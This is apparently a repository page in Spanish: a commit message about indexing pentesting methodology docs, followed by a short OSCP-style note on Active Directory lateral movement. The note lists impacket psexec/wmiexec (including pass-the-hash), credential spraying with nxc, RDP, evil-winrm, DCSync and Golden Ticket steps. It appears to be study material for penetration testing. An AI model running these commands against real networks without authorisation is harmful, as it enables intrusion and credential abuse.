7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
23 lines
990 B
Markdown
23 lines
990 B
Markdown
# Movimiento lateral
|
|
|
|
> Saltar de una máquina a otra con credenciales/hashes obtenidos. Paso 5-6 de la cadena de Active Directory.
|
|
|
|
## Con qué saltas
|
|
```bash
|
|
impacket-psexec dominio/user:pass@10.10.10.20 # shell SYSTEM
|
|
impacket-wmiexec dominio/user:pass@10.10.10.20 # sin tocar disco
|
|
impacket-psexec -hashes :NTLMHASH user@10.10.10.20 # Pass-the-Hash
|
|
nxc smb 10.10.10.0/24 -u user -p pass # ¿dónde valen estas creds?
|
|
xfreerdp /u:user /p:pass /v:10.10.10.20 # RDP si hay GUI
|
|
evil-winrm -i 10.10.10.20 -u user -p pass # WinRM (5985)
|
|
```
|
|
|
|
## Regla clave
|
|
**Reutiliza credenciales**: cada pass/hash que pillas → pruébalo contra **todos** los hosts y servicios (Metodología OSCP).
|
|
|
|
## Decidir a dónde
|
|
- BloodHound te dice qué usuario es admin dónde y el camino a Domain Admin.
|
|
- Si llegas al DC → secretsdump / DCSync → Golden Ticket.
|
|
- Red interna no enrutable → Pivoting ligolo-ng.
|
|
|
|
Relacionado: Impacket · Mimikatz · OSCP MOC
|